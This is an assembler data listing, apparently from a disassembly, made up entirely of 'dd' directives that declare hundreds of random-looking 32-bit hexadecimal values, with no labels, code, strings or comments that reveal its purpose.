		dd 1C9DA5BDh, 1623F7F2h, 9A221D2Fh, 4C12A1B6h, 0C2E575F6h
		dd 230F97FFh, 10F0680Ch, 456729F7h, 0FBF75787h,	0CB4C631Ah
		dd 83FCE72Fh, 0C423C977h, 84843203h, 19B2169Ah,	51B229D7h
		dd 0FC079CB5h, 21DF2B31h, 0D72C8BDCh, 1F49FFBh,	113A0A6Ch
		dd 6D1D85EAh, 0CA51FAh,	614272C6h, 20764DBAh, 199FF6DAh
		dd 4BABBDF1h, 0EDDFC019h, 0F3C0769Ah, 5B772435h, 5129FC43h
		dd 9BE51594h, 283CB2BAh, 0C91E1645h, 9F562D17h,	83A5FA87h
		dd 0FD4EE79Ah, 702B9D09h, 11ADAC6Fh, 162D939Ah,	0E76D412Eh
		dd 266B066Bh, 1F7C15E7h, 1EA6C817h, 0C9CB9611h,	8F34C3D2h
		dd 0EA367A45h, 48CB8737h, 4D174CEAh, 0B604A3F9h, 4B3A2FA8h
		dd 0CA1EBCB7h, 0CEE39732h, 6DE1E35Fh, 0CC07D448h, 54399DE4h
		dd 7036D219h, 771444E6h, 0B453D668h, 740F81E2h,	12D657C3h
		dd 0C13556C5h, 0E27FA119h, 0F410AF89h, 0A3B1438Fh, 0CC3FD5CCh
		dd 86121C28h, 3037A41Dh, 0C08849E6h, 407F56F5h,	63B437C5h
		dd 404AF7A1h, 98281B92h, 7BB1FB6Bh, 42D4A7B2h, 0E49ED2FDh
		dd 4C1CBD20h, 9DFEDAB4h, 860F9FC7h, 1FAF9D1Ch, 4913345Ah
		dd 0FF502928h, 0E70FAEE2h, 0CE51D11Ah, 4B533322h, 0EDD1293Eh
		dd 0C1AD13F6h, 3E3938C5h, 0B50C2B92h, 22D42BB2h, 0F292133Eh
		dd 0D8B3EF87h, 39121DDCh, 0CAAD4DD1h, 5F4A014Ah, 7435A262h
		dd 0F097E8C5h, 22272819h, 4E3DA0B2h, 0A2BDBD98h, 571B611Fh
		dd 3D9A0763h, 5AD8FE7h,	1F940041h, 7507D73Dh, 545ABC12h
		dd 44AD0792h, 0F3A5B8C2h, 39EF3B8Eh, 0E5C42CFAh, 0C22C3BE2h
		dd 851D08B8h, 0EC4A43AAh, 0E0BD5158h, 6C95D7D0h, 107472C2h
		dd 6D9A5C10h, 328B2BF1h, 0AAEFB6A1h, 0FD66909h,	4A95B3DFh
		dd 4C1B2C98h, 36FC116Eh, 49105CB9h, 0A66CD6FEh,	0C6679A9Ch
		dd 0FA264CCCh, 48E969C4h, 4CFA3996h, 90208543h,	0DBA514F1h
		dd 0D1ACD76Ch, 0BE0516E1h, 0CF323790h, 0B54CA471h, 0CB9FBAC6h
		dd 39DD51D0h, 0CCBA0111h, 51372CB4h, 10E7763h, 0DD35BB55h
		dd 0A768DB6Bh, 199C1BE4h, 0CF077740h, 0A26305C2h, 0B4590AA3h
		dd 0A901D4CAh, 0D8915B00h, 0EC076B4Ah, 0E51FA7F7h, 0DCA35CAFh
		dd 0D96F87F8h, 896739EFh, 0C4C7119Ch, 21530994h, 192305CBh
		dd 0ED170491h, 0E61E79A1h, 8137FF83h, 87AC5FB3h, 85CA1988h
		dd 4A1686D1h, 241D15C2h, 181644F3h, 2A30C6h, 748C6FCAh
		dd 426F17CAh, 28F51A08h, 0EDDBEFD4h, 0C90FF1ABh, 0DD1F148Ch
		dd 662E7F6Eh, 85930DA6h, 0AE0C7D8Dh, 889D15A9h,	0C7C8D1EAh
		dd 831BF86Ch, 0FA07FB65h, 0D91D3732h, 4B43712Ch, 9AD49F8Ch
		dd 0BA055DE0h, 0E0F53770h, 0BD0AAE40h, 9C439701h, 0FC92C72Bh
		dd 100D2C11h, 648A57FDh, 3BE1FBF9h, 0E092B198h,	0CB9A9F84h
		dd 7521591h, 97D31CDAh,	1E4A9877h, 7FAA02F2h, 0FB69E626h
		dd 0F78F064Ah, 955019FBh, 865662C0h, 0EC1FF649h, 5547E130h
		dd 9F3744DDh, 0D56208D2h, 836EAC6Ah, 0C2D40E82h, 0F91D85C5h
		dd 0DB2921EBh, 749C3B91h, 0B262D652h, 99E8F0EFh, 0D00F26EBh
		dd 0A28B3135h, 0EBCFD6F6h, 322FAD2Ah, 3B4137B5h, 0D222159Bh
		dd 7C533A7Bh, 0BCA09A0Ch, 0B4011EEAh, 8A1F34C4h, 37FAFB0Eh
		dd 0A06BE138h, 0A7681DC5h, 96FCCE28h, 80510BCFh, 4328DCC4h
		dd 0CC94202Ah, 421D8DCEh, 39782019h, 0F519F1h, 10FC13C2h
		dd 9FE9DDCDh, 5E15E01Bh, 4AFB6F6Ch, 0DF568836h,	0BCD07260h
		dd 6559921Ah, 4F9113CEh, 0BF249702h, 43688E6Ch,	461AFAC5h
		dd 816E167Dh, 4A8AFCCDh, 0C2EC6ACBh, 9C506A3Ah,	0C56B2E97h
		dd 0EC6AF8F8h, 0A1840h,	0C4FA9620h, 937F4C00h, 0D14F9E0Fh
		dd 0D7532E87h, 101493C2h, 0E0679ECAh, 82E35C87h, 0E33CEF6Bh
		dd 5756D829h, 0C7143810h, 0BB04D06Eh, 0EB839B82h, 90442D23h
		dd 4F075CD4h, 426BD659h, 83B3D7B1h, 4A1E1AAFh, 0C5EB3175h
		dd 463268C6h, 0D5161ECCh
		dd 0E163973Bh, 3B1E1241h, 81B162C2h, 63E3241Dh,	0D81116ECh
		dd 0A9003942h, 2BA14Bh,	0FDE817C9h, 0F1FE8280h,	185E3230h
		dd 0E0539863h, 75499F3Fh, 93012B63h, 81F92A6Ch,	0CCC11638h
		dd 0A9AC2349h, 0C79D70E9h, 0C9102C49h, 5A0EAB59h, 91F0BFEAh
		dd 51428Ah, 0A6E23C3Bh,	4A1A6A48h, 2C014571h, 0BD153C10h
		dd 0A90137D7h, 0B2AEF4F5h, 1D0C4265h, 0D75C3A9Ah, 0F59501BCh
		dd 0D904477h, 16110DF2h, 0C01E9D99h, 0C5DFF935h, 19D70671h
		dd 0E55643F2h, 31C0872Eh, 699A91EDh, 0D3DA46C1h, 7D35D5CCh
		dd 0CE9DFF2Ah, 0BBBF56A0h, 0EE3B3841h, 0C0873749h, 0B236FBC3h
		dd 49563B0Ch, 57F1B381h, 0C50D569Bh, 0B18EAEC3h, 49944EDEh
		dd 791506F4h, 44CCFCB9h, 6F7DD448h, 0CD206A14h,	0C0A37B9Ah
		dd 3B9F0D64h, 94B2E89Ah, 17E09ABCh, 0BDBF98E4h,	405027B1h
		dd 82B9C1BCh, 0E2FD1BC5h, 0EC8A46FAh, 0A19F065Ch, 0C23C8D00h
		dd 0E2D230D5h, 0C99FEFFCh, 8B3E13C3h, 189C2194h, 0E720CBB2h
		dd 0BE8D4859h, 19B6B849h, 0A13FED47h, 0A376CEC7h, 977549E7h
		dd 0C3639E44h, 4C001D8Eh, 0DBD6FB56h, 0F3064160h, 743B2FAh
		dd 16B1F7Ah, 0F017E735h, 3CA5E0A3h, 9F9C1024h, 0CBD91873h
		dd 0AC1D2D17h, 0CA23F2B4h, 2A5040F0h, 0EE0E18AAh, 0CC620B3Bh
		dd 1C3C15D9h, 4CCF2043h, 236B64C8h, 0FC1F37F6h,	53CA8EC0h
		dd 0FD3D798Fh, 268E93B3h, 8C3FFFC4h, 7C24FC44h,	7A7DC7D0h
		dd 16FB4913h, 0E1D59703h, 0AC7D6CCAh, 390DD57Ah, 61C950ACh
		dd 0D0976968h, 0BD3AECE1h, 0BC3F13BFh, 0A9A750FBh, 0DCE767D4h
		dd 0A71CA101h, 0F0DC52ADh, 844AAA21h, 2F560B2Ah, 86309FD7h
		dd 4B0F40E9h, 4B04E87Fh, 473B3DCDh, 0D5988643h,	84B570EDh
		dd 2587017Ah, 2DFB06EAh, 63544C78h, 0CD9B05E7h,	0AF283EC1h
		dd 1A53A7EFh, 43539CC6h, 0E65327D1h, 869B12E1h,	366C1D7Dh
		dd 8F41108Ch, 57DC1E49h, 47934C22h, 0F72B442Ah,	42E9DBEEh
		dd 0E1843D13h, 0DBDBAE92h, 0A4FBEF09h, 393C72E4h, 4D50D6C4h
		dd 823DD9D6h, 1C8131A2h, 0BCAC70F1h, 0B539A735h, 54C9302h
		dd 76127DF1h, 0B2202002h, 0E1146A91h, 0D765EAEAh, 3F394AEFh
		dd 1142E8FCh, 517F764Ch, 9101948Ah, 98A945F1h, 9B3D3571h
		dd 0DAFBD421h, 0C1949D3Ch, 0BC34ECCBh, 19475DCCh, 41030EEDh
		dd 0C54532E6h, 0DF532798h, 113D0A3Dh, 1A17DAD7h, 0DBA954E9h
		dd 203F7796h, 18567789h, 0B407146Ch, 3A7376FCh,	8127DBCAh
		dd 3636158Dh, 340167C3h, 0AB558BE0h, 0B92F5B93h, 0E10B624Bh
		dd 0CBDF743Bh, 0DA284140h, 41801087h, 0B4971102h, 88FDF7C7h
		dd 0E0170F83h, 1869C0D3h, 54DEFAFDh, 0B3553A8h,	0D8B71AEDh
		dd 16F27F2Ah, 9D1D13DAh, 259DC529h, 0EAE007D3h,	0DBA51DF7h
		dd 366D74D0h, 0CC9FA1DCh, 1CB135D9h, 0C79A0FE4h, 9FAC8C4Ch
		dd 0C0D79D99h, 0FECC08ECh, 0C52ECCC4h, 0C85669DDh, 0D37651BFh
		dd 0F6A0F01Eh, 0DE1FFA5Ah, 4E8571CEh, 0C3973F91h, 38CEED85h
		dd 0D51E813Bh, 0BF1D5687h, 77AB8D48h, 41ED6CB2h, 441379E8h
		dd 5FB5EF90h, 3C3CCF99h, 57B5DF2Ch, 0C84B894Dh,	2A131083h
		dd 0E5714B2h, 0F7306BF0h, 0A58584FCh, 3917DD39h, 0C7E9A4EBh
		dd 0B53DE88Ah, 41FD4A35h, 22132701h, 87501D12h,	86469FD1h
		dd 0E47CC769h, 0D173C1E1h, 44BA7DAAh, 86460630h, 34DF1917h
		dd 0F47436E2h, 29422F29h, 83B629FDh, 3EB650F2h,	81944E63h
		dd 9251EE5Eh, 0E9C9D3CDh, 58AC0EB4h, 9F101176h,	0B3E6F987h
		dd 0D5334DB7h, 3D1E7AF7h, 0CB186DB7h, 0B61C65D1h, 48A65B45h
		dd 931EF92Ah, 878341CBh, 0BF04C91Eh, 2A56C1EAh,	0C51BD72Bh
		dd 1A941DDAh, 0E803F438h, 1B04D077h, 0C63332F9h, 53CA1512h
		dd 0DA074BD2h, 2318DAEFh, 0A94C3318h, 322CDFDFh, 0A25E8ABCh
		dd 6D4C3156h, 797A7D23h, 0F40C97A4h, 0DA5BF2AFh, 0F97BF595h
		dd 0CDDB1891h, 0E98CB55Bh, 0D4E19Fh, 5601A294h,	22E8357Fh
		dd 0DE9A074Bh, 0FAE41F87h, 42D96B27h, 7036E851h, 34152CDh
		dd 0ED7357FFh, 31FC428Dh, 0A07702ECh, 8F6E28C2h, 4115FF86h
		dd 6389A14Fh, 0C50FDB30h, 624152F0h, 4313CFC4h,	11288AFDh
		dd 976B6A2Eh, 0A3A6F36Ch, 6AD7C896h, 84A10748h,	14EDD4BAh
		dd 0D50363CCh, 0AC84966Fh, 0EA53988Dh, 2A2E074Ch, 0A0471DC7h
		dd 0A6D6AA3Dh, 9AA55362h, 0B459E487h, 0A6C23DD4h, 0C8AF4BDBh
		dd 791B408Bh, 32412182h, 8ABC30D9h, 80E17046h, 0DD440371h
		dd 2091E16Dh, 4D2257FEh, 0C9CD9C67h, 0D9A451F9h, 4385D37Ch
		dd 97D5D7A8h, 0E14AF1Dh, 4C8CD8A1h, 0FE4047BDh,	264BF8C1h
		dd 0B900B677h, 0C3200A6Dh, 0CDD51E44h, 1D1A2391h, 0FD09554Ch
		dd 0CD9CB738h, 840FFD5Eh, 2A1F6562h, 281103CDh,	6B481FA4h
		dd 0E127575Dh, 0C09AEFE0h, 687B1598h, 42B59221h, 4A7C07DFh
		dd 0E1E01C4Fh, 0B5562FD9h, 0AF6418ADh, 6C9ABA39h, 0C929214Eh
		dd 0B4322FD1h, 0B5889FAEh, 861DE876h, 0FBDC9DC9h, 0FBDD63D9h
		dd 816262C6h, 0C89BE2EEh, 1747F9CEh, 0F90B5786h, 7EBE2FB4h
		dd 26548E7h, 0BBCB03CDh, 0D7D242F0h, 9657CED1h,	60931BE4h
		dd 2CFA8476h, 10863052h, 115D460Fh, 9D4E6F80h, 8AC27842h
		dd 164515EEh, 90AA0B03h, 0C15D822Dh, 9D631B3Ah,	33509D0h
		dd 0AEA7862Ch, 0A4799071h, 0B9326D9Fh, 189571C2h, 931D8ACAh
		dd 0FEBD9BCDh, 69E5683h, 0E90B7DDEh, 99021149h,	7EB6D03Ch
		dd 484391CEh, 7A9B89h, 495B1BC5h, 0B4FE1221h, 0F2EF3962h
		dd 0C4DE2985h, 92A34A40h, 0C38E7D03h, 0DD414ECFh, 5A6988C4h
		dd 8A401596h, 777D1285h, 92C16F85h, 46B08FC5h, 6DC544F0h
		dd 710D5599h, 46315B66h, 0C1BA3BE8h, 0F23FE296h, 912BD0F5h
		dd 0CD0F02E3h, 5CAF1E4Eh, 66592CCBh, 72EDA2A8h,	56BB1141h
		dd 7C921BD6h, 0A92A76E6h, 0B68CD8E3h, 0A13484EFh, 0CDF408CDh
		dd 471B26E5h, 0CC1632DAh, 2BFCEAh, 0ED163EBEh, 7C4F2036h
		dd 8420BCF9h, 890713D1h, 0DFF9BB07h, 0CD114C91h, 0D5BCE7A7h
		dd 55A65977h, 6A27BBABh, 0C32611CBh, 0B7521BD5h, 0D8303416h
		dd 184262C7h, 9251D397h, 0D5AF01C9h, 205F9E19h,	0A8F350B3h
		dd 8D38D692h, 4FA3444Ch, 0C99F3E7Eh, 1F6656E0h,	61ADB557h
		dd 0EED02236h, 12C127BBh, 1D34780h, 0DB479DC5h,	141C1072h
		dd 3F6BB33Eh, 3DA3C41Bh, 0E23A17F8h, 0CBC54ADCh, 0D17032BDh
		dd 0CBE96C4Eh, 76EB9178h, 9F7669D2h, 7D1A08CDh,	0D6FCA208h
		dd 0B2167675h, 31EB4AF3h, 650EA677h, 39EF87C2h,	4D3AE746h
		dd 54E70E39h, 0F434E702h, 6CB832B8h, 911B0A8Fh,	0D6D55B62h
		dd 0EF47E4BCh, 949C810Fh, 0E60C1FE4h, 0F9F677FBh, 250521D1h
		dd 0F699DFB4h, 495266D1h, 0A1199024h, 0EA35F25Ah, 0EC3B4E01h
		dd 5AE319CFh, 91132AE7h, 0D25F43E6h, 906A3CA1h,	39115B91h
		dd 0D51C4AD7h, 0C0B1A0F7h, 0CBCAF1E1h, 9D1CC2D5h, 6DAF6EEFh
		dd 0A59E76A1h, 5F4F0089h, 551B4B83h, 240F1EC6h,	6BA87688h
		dd 0F32B1E81h, 0E30F702Ah, 0CD007FD6h, 317E32C2h, 88133E43h
		dd 0D5194183h, 0E27F411Eh, 2A182E9Ch, 207387D9h, 0B1BE1BF4h
		dd 80104AC3h, 0D94ED221h, 0ED68FD37h, 9D55C749h, 48674DF1h
		dd 618667F1h, 39EC8F0Bh, 1DEFE091h, 0F85DCC82h,	49161843h
		dd 911341E2h, 7363BEE4h, 7501B2DBh, 0B8EC7FDCh,	0C07D52C0h
		dd 66BF66C9h, 0BFFF328Ch, 5297CE9Ah, 389E675Fh,	2CCAFFD7h
		dd 0FF613782h, 0F40CB02Ah, 801519D8h, 679D7B89h, 0C9A1C4F3h
		dd 0D7B70BD2h, 9D8E41DDh
		dd 51194BDEh, 61F9125Fh, 0DF244179h, 80F79181h,	0A7D497B9h
		dd 308B0FB2h, 4494F02Ch, 3A42258h, 2958139Ch, 7B0BF107h
		dd 0AD397C97h, 2C2C30ACh, 35EE7B7h, 331A95B4h, 395851F4h
		dd 0E5511E78h, 0E5912BE1h, 3E6A0ABAh, 4E01FF8Eh, 23231A40h
		dd 28D1BF1h, 37F87FA5h,	0D9D7F7E7h, 0F0041863h,	0CEA631ADh
		dd 0DDF7B149h, 0EC5D2BDEh, 0A4431FA1h, 0C21FFB51h, 23F10601h
		dd 91E98C0h, 0A00FE93h,	7C2F96E7h, 69037415h, 0B3DF1AAAh
		dd 0C6CF575Ah, 46BE3341h, 0B4A7FE73h, 0F533DF86h, 876263D5h
		dd 0E83064Ch, 84EB54E2h, 6E0053Dh, 261AE4FCh, 0F461CDh
		dd 0A1E11DA0h, 0C46B0FF1h, 51E9F0D9h, 0D36A5C70h, 0A56AA543h
		dd 6EE445CEh, 0FE7D3C3Fh, 0BBA8FA4Ch, 0DE0AC621h, 0FF061CB5h
		dd 0BC861A73h, 2DFB6726h, 0E1739C7Ch, 830BD4B4h, 2F171014h
		dd 29179CB1h, 0A41532Eh, 89177FE9h, 0CB5F15D5h,	95F862FCh
		dd 2E9FF026h, 0C793FCDBh, 41FCFCD2h, 2A121BBDh,	9900678Bh
		dd 934787B5h, 0C59344C9h, 9F252794h, 0BE2C11D0h, 0BF5F51C5h
		dd 454CA8Fh, 0CBE282DAh, 51BF2931h, 4F9E434Bh, 43F711AEh
		dd 0FAEF78DAh, 0F85163DBh, 469C46D5h, 2C111923h, 812C1721h
		dd 33401ABDh, 0E3DA5563h, 0CD3D9BFEh, 6D794994h, 0AFE8C1EBh
		dd 4A494595h, 0BF5B47B7h, 0CB0BCACDh, 996E431Ch, 0F4BF623Bh
		dd 0D59C5B58h, 3A8030A1h, 0FB7F0B58h, 0ABC06F65h, 0DAA77DC6h
		dd 9192CADFh, 0C5E3E535h, 0AAEA44B3h, 0CD750874h, 76D07F97h
		dd 0F6A3FF0Ah, 0D8BD9A42h, 0DA3CAED7h, 3A890C1Ah, 0B1377638h
		dd 0D0AF33ABh, 0F9E706D7h, 72E60CF1h, 0FAA102Fh, 0D720D6ABh
		dd 9E0ABDBh, 0FE0AD69Fh, 0BDE2B8CEh, 26946601h,	0D1640EC9h
		dd 46503D07h, 1D87E40Ah, 0B404D3DBh, 691051F1h,	18DF9C78h
		dd 806002BAh, 5F581654h, 87EA370Eh, 5997DB19h, 402B7E11h
		dd 6EE08881h, 15C9534Ah, 0FFA60CBAh, 3ECF4C3Eh,	0DC546639h
		dd 32D60409h, 164B607Fh, 0E3D89E1Dh, 26063051h,	218487AAh
		dd 3CF36659h, 8E37F15Fh, 0B8B19982h, 0B3D8FFD4h, 0AF97D89Dh
		dd 0E01FABB6h, 2DCEA388h, 0E175F68Eh, 377D32DFh, 0B6B2127Ch
		dd 9E897338h, 72577F81h, 0C8DFD7ABh, 78E8A855h,	9B490A90h
		dd 0CFC631ABh, 6BD0F8DCh, 2DE6E46Eh, 0AB03A128h, 5F7F24B6h
		dd 0EEC14AD1h, 0D2DF8726h, 0D553D392h, 0EE721519h, 40F1D8E6h
		dd 2DF8B619h, 0D2DF602Eh, 3AC4E409h, 27DAF001h,	2E37F6E0h
		dd 51C3D8E6h, 0F6D4C1C6h, 8189FF5Eh, 0CCC25846h, 2C03E37Dh
		dd 0B8294D84h, 0B6C796BDh, 22BE1228h, 336BF3C5h, 62F81539h
		dd 7373EB79h, 1815F138h, 0DE578A6h, 402BF8FEh, 8D3D6B4Bh
		dd 21559AA6h, 3E7D2E3Bh, 0EF87F8D6h, 88E1131Bh,	0AB1C6646h
		dd 3848A4EAh, 1B7F1E1Eh, 5C7A35A0h, 73D47DD1h, 0DC1BD1A6h
		dd 52002F24h, 8E373CB6h, 1B7FD87Eh, 7FB3532Bh, 0EC9A368h
		dd 81892C5Eh, 0A15C5C01h, 2E57AC37h, 0EA6089BEh, 7EA9677Dh
		dd 406BCFFFh, 0BF8C8807h, 25ED3F2Eh, 2BE53060h,	0B8A76BC3h
		dd 2EC392F1h, 25ECABC8h, 0DC9F13C4h, 9EE13B6h, 312E1333h
		dd 1870C715h, 58CCC324h, 321EF109h, 396BF321h, 2D38B5DEh
		dd 0D2728726h, 5AF416Dh, 3E8235E8h, 52117BDAh, 0CC186071h
		dd 3E3D7F56h, 0EE32543Ch, 0CBDBDCABh, 0E2830A66h, 0CE21BCABh
		dd 7360E993h, 0F8B7FFDCh, 0D4A98452h, 186068E8h, 24ED3DCh
		dd 0B6F74CA4h, 5E5796FDh, 0CD98850Dh, 0C36EABBDh, 35F829BCh
		dd 104AE819h, 25EE9344h, 75581333h, 0AEC76969h,	321E0409h
		dd 0EDE9F727h, 0E30FBD5h, 82168726h, 6006B409h,	25571F8Fh
		dd 0E195898Eh, 36D76992h, 0FD882940h, 0FBAA2233h, 13C0CB7Ah
		dd 0BD153D33h, 50C46E79h, 1595912Ah, 0C086A843h, 3917E3C2h
		dd 5B30D7E7h, 0C2D6CF6Ch, 0D2DABA85h, 6A9EBDC6h, 9B9EA3CCh
		dd 28BF15D5h, 23171C95h, 0E1D7B0B6h, 481D1784h,	0DC0A6185h
		dd 0C3A1619h, 0A75F5FD6h, 0AAA83585h, 0C1C09643h, 0C034518Dh
		dd 0C72452A6h, 7E6AB7AEh, 2ED0BC0Ch, 1DAD513Fh,	0FF618F06h
		dd 0D10A43F3h, 72A82DD7h, 8589028Fh, 8D16A043h,	4C1BC70Bh
		dd 1AE80C95h, 2314EE00h, 0FE2C9421h, 0D964DD48h, 76EF8A89h
		dd 0A4D480ABh, 0DC16D628h, 9A4B5989h, 0A91D2C3Ah, 0B355DF05h
		dd 0C558CCE1h, 0CADCDDCCh, 2A9A92FCh, 0F695A081h, 2289E86h
		dd 0E3A03684h, 0AD0F7FFEh, 4252D6D7h, 0D6DA1B81h, 8263C8B3h
		dd 27F2474Ah, 1B05BDCDh, 0C1C3E156h, 96143C38h,	8C22DD90h
		dd 0E1DB4FA1h, 0C062B8E9h, 9CA943AEh, 0EEA818E6h, 11D83D73h
		dd 9D47DA8Ah, 8684F419h, 0F3D1D407h, 569D0421h,	73032F25h
		dd 737FFF31h, 7A31969Dh, 1183BB83h, 9ACF43D4h, 0DC5E3786h
		dd 3A08F481h, 0D7B049D4h, 0FDA869FCh, 6C369E4Ah, 0C654D447h
		dd 0FCF87DF9h, 169965C8h, 0B94EA73Ah, 906F3C09h, 0C7E41E49h
		dd 0EAAAB1EEh, 711BB931h, 608D074Ch, 9E1D7D1h, 0FF91532Eh
		dd 0C8C74E37h, 0CCED3E7Fh, 0F4D79D85h, 7DB71ADFh, 341CB88Ah
		dd 2A532E9Ch, 0F7472BCEh, 0EC23B43h, 9D3F60DEh,	0FDCCB35Ah
		dd 0E7F714F7h, 0DFCFFCDCh, 14A7BF98h, 234E821Eh, 0A92E4257h
		dd 490060B6h, 0C01402C7h, 618C377Bh, 0BF0FF949h, 3BAA0C41h
		dd 0D47C666Dh, 872CD502h, 0BDFF22D6h, 0BA9F9915h, 0CA04B760h
		dd 61048E36h, 0EE3A8904h, 8D4B1351h, 1126B6FDh,	0A4F2DD32h
		dd 0E3E2B3E0h, 1E0FDBD1h, 9243E31Eh, 277804BDh,	4E927ACEh
		dd 0E3530CD9h, 83030A83h, 0AB6057D9h, 0CD03CEC3h, 0EC9BD0DAh
		dd 0C4E632E1h, 41DE47D8h, 0E7A516B7h, 0E8563879h, 0F3FBA7C6h
		dd 43499Eh, 0EFF462E0h,	95524690h, 0EDDF37ADh, 0D93997CEh
		dd 29160626h, 0C00CC321h, 94F2B457h, 4136178Eh,	3D0EC3E4h
		dd 4AEF010Ch, 65F371C7h, 154A7ECh, 0F84C1591h, 0FFD6214Ah
		dd 253E79D9h, 0A1461C7h, 11826B7Fh, 0D4B71D82h,	430419C5h
		dd 390FE558h, 9A463EBh,	0D81F739Eh, 0E86FD7B7h,	7FA4F389h
		dd 0E007E70Bh, 0FA7A97DDh, 0CD991B14h, 96773796h, 0ADC85742h
		dd 0E801AF09h, 7B22C22Ah, 902ED3E1h, 0E5387E4Bh, 0D6A05C17h
		dd 0E0131DA9h, 8C123707h, 0A3168406h, 9D400F04h, 36AFDD3h
		dd 0FADD466Dh, 3F411FCAh, 92EB0350h, 977DA887h,	201530F0h
		dd 0B5F069EEh, 9764AB91h, 2119A754h, 9778A469h,	9CE91BCh
		dd 917D4D79h, 2F4C358Bh, 91A71E9h, 75313211h, 439CD686h
		dd 3F409DEAh, 60FD4133h, 9BEECEE0h, 4E73CF90h, 0FAA7342Ah
		dd 559F3909h, 381D74C3h, 92308D71h, 84F3693h, 2F89B521h
		dd 0DACFD9E4h, 4BE784CAh, 7F76FB36h, 0D4E35E97h, 53A41B0Ch
		dd 7C9E4073h, 0E438BE71h, 60555C77h, 0C2C83DC9h, 0BC3D04D3h
		dd 0E53837C5h, 1EA41FE5h, 674D3027h, 0D67127FDh, 0C01D699Bh
		dd 895B0C88h, 89A43165h, 0DE01C709h, 5A57AF25h,	9543EFACh
		dd 0B161FEA4h, 0C95B2F7Fh, 0D2DFF185h, 0C63D35E6h, 10F3770Eh
		dd 1E76A7E0h, 0A933C7F0h, 0CC365033h, 0B3330FB1h, 0E16350B3h
		dd 0AE373FACh, 0D53450B9h, 0DADE272Eh, 410392E0h, 0D71A9DE3h
		dd 9C9BF351h, 9393397Bh, 84CA6C35h, 51DFD2DFh, 854D7290h
		dd 0F4BEFF54h, 0CD329595h, 12D75C15h, 0BEAF0519h, 469B1AE1h
		dd 76AF37D6h, 9A370817h, 0C9C81A62h, 4B95E119h,	418D94B3h
		dd 519CC9F7h, 3161938Ch, 696FA788h, 4071BD4h, 0C70E1080h
		dd 0E13F73D9h, 0D197BFD9h, 0F10B2739h, 0D3139680h, 0BB5E0B11h
		dd 0EBABF540h, 8119F9D8h
		dd 0E0B60CB7h, 1093629h, 0FF3C76F1h, 0CFDF57ECh, 0FFE78600h
		dd 3B053C03h, 0D15D4589h, 4185D3EFh, 4A5B7BF4h,	1835EC65h
		dd 96959436h, 8369BD00h, 0EACB8799h, 2582DE62h,	293C6DEAh
		dd 0E184E79Dh, 9FF4B29h, 0EDEE27E7h, 0D3743C3Dh, 0A4A336B3h
		dd 0CA1F1B09h, 0E23B1110h, 0B2330B9Ah, 553BB8F1h, 4293270Eh
		dd 0C01346B3h, 0FA0C026Dh, 482B65A4h, 0C5DA6391h, 2143D581h
		dd 13B271Fh, 988744FAh,	0CC447646h, 0F66126C4h,	0E2BDCFC5h
		dd 0A51357FEh, 73C48526h, 85AF7F59h, 0BD596253h, 9DD72FC4h
		dd 0F3E53BB9h, 7E3E3AF1h, 0F115AF41h, 79079C85h, 40FAEEAAh
		dd 0CD44CA9Fh, 0F4833559h, 0F99FF309h, 517CB795h, 0C7D6BEF3h
		dd 91405E90h, 6D93671Dh, 1DEE969Dh, 0F332F8DAh,	0CD8B8C49h
		dd 334B2FE0h, 29CB1175h, 0A94FE7C1h, 0F33735AFh, 4852DC16h
		dd 7172BB71h, 995C84C3h, 0C89C5F87h, 0D65F604Ch, 1620E01h
		dd 36F61295h, 45E3557Fh, 5D083B7Dh, 83B137A5h, 0E9DB7305h
		dd 83B13AA5h, 81192719h, 0D5F39C5Dh, 0F0873529h, 30E31EF8h
		dd 0C2FF7957h, 801E1A16h, 0D11DA7F9h, 29272FBAh, 80FF812h
		dd 0AB16BF68h, 0C51359ECh, 50B1F3A1h, 29481FC7h, 0E1843AD5h
		dd 9DDFC2CCh, 0C0D16A51h, 966969Ch, 7FDFB752h, 61898700h
		dd 0ED3787ADh, 0C21336C5h, 6103BF7Ah, 89D914A1h, 43145A49h
		dd 83A45C1h, 871D0BA3h,	4F871C4Dh, 981B56C7h, 49F19759h
		dd 57ED36F0h, 45D7238Bh, 88D66B22h, 0A7F362D5h,	0C2189449h
		dd 1339BB1h, 48355BC5h,	79411B88h, 5AD7971Ah, 0CD5E5F51h
		dd 48864211h, 0D0278443h, 41145B93h, 75312EC3h,	6F567351h
		dd 0A9A35621h, 0CD65F753h, 31EF4FE0h, 187B3CAh,	0FAE9367Fh
		dd 845A3429h, 8D0AB10Eh, 0B886DEE0h, 0C9071FE6h, 9862C9Ah
		dd 0D50036D1h, 0C22E35C7h, 0D942F39Ch, 25A7E298h, 691B01E5h
		dd 0B7A13B97h, 164805FBh, 38333DFDh, 0C767A3F1h, 0E5D82A33h
		dd 0E67575C5h, 3A475442h, 1B9C527Bh, 0E97EB25h,	4313DC39h
		dd 0DA634FA5h, 70502951h, 0C88C7BC0h, 0ABE90EADh, 0D93C4953h
		dd 0DA93528Dh, 6BA3070Ah, 0BA48475Dh, 0D15A897Ah, 96FD124Eh
		dd 0C6352C07h, 0A7589001h, 0BFEF3C06h, 2513A406h, 391B8F29h
		dd 0BAC81E3Bh, 9487F4DAh, 7A88DD26h, 235B91A9h,	2A851BDh
		dd 0F5DF07E6h, 4C515D5Bh, 0ADF77790h, 502BC762h, 7521569Bh
		dd 0A51F369Eh, 0D10F7B9h, 74643746h, 9DD7919h, 0E0209FE3h
		dd 0E0071DB8h, 3705A744h, 0DD306F50h, 2187CBE6h, 0C338F784h
		dd 11303025h, 0EC0EFB33h, 0E635574Ch, 0DFDFE381h, 0E917163Ch
		dd 450B1009h, 0C9183FC6h, 0F336DFC0h, 0D26507D2h, 0D50F978Dh
		dd 450B0B09h, 0E11237DEh, 0DA071B22h, 75F33CAh,	91221F1h
		dd 0D917D7E3h, 0D6A02E85h, 8747D792h, 9151D5EBh, 9D414955h
		dd 4A16CC75h, 0E63D1E43h, 0DCCCD6C9h, 85D193C1h, 808F1FD7h
		dd 7113464Dh, 0B1920C05h, 827F106Ah, 0F11B16BCh, 0D8BD9803h
		dd 0BE170BC8h, 81112F87h, 172E34Ch, 7EC61659h, 21155FD3h
		dd 0E5665FA8h, 7E5BBA3Eh, 0E1639DFDh, 0CB6303FDh, 0C86307FDh
		dd 0CC621BFDh, 0E69FB78Ah, 0CFA793F8h, 80D21623h, 6DFD27CEh
		dd 0C177F781h, 85BAA820h, 0C2B65943h, 0E95EA22Ah, 1154B788h
		dd 671C29CDh, 0EA37E344h, 4D5F0EB7h, 0F177B586h, 9793E87h
		dd 0E0753730h, 9F2D0391h, 0F9471BB9h, 4A42B10Fh, 94332D79h
